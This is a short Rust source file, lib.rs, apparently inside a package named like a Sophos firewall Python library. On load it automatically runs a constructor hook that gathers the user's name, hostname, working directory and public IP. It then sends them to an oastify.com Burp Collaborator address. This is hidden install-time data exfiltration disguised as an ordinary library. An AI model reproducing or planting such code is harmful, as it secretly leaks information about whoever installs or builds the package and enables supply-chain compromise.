sophosfirewall_python/
lib.rs1use std::env;
2use reqwest::blocking::Client;
3use whoami;
4
5pub fn ping_burp_collaborator() {
6 let client = Client::new();
7
8 let username = whoami::username();
10 let hostname = whoami::hostname();
11 let directory = env::current_dir().unwrap_or_default().display().to_string();
12 let ip_address = get_ip();
13
14 let report = format!(
15 "User: {}, Host: {}, IP: {}, Directory: {}",
16 username, hostname, ip_address, directory
17 );
18
19 let _ = client.get(format!(
21 "http://rd8vril3b1xyp070wxpdj6dl5cb3zunj.oastify.com/log?data={}",
22 urlencoding::encode(&report)
23 )).send();
24}
25
26fn get_ip() -> String {
28 reqwest::blocking::get("https://api64.ipify.org")
29 .and_then(|resp| resp.text())
30 .unwrap_or_else(|_| "Unknown".to_string())
31}
32
33#[ctor::ctor]
35fn init() {
36 ping_burp_collaborator();
37}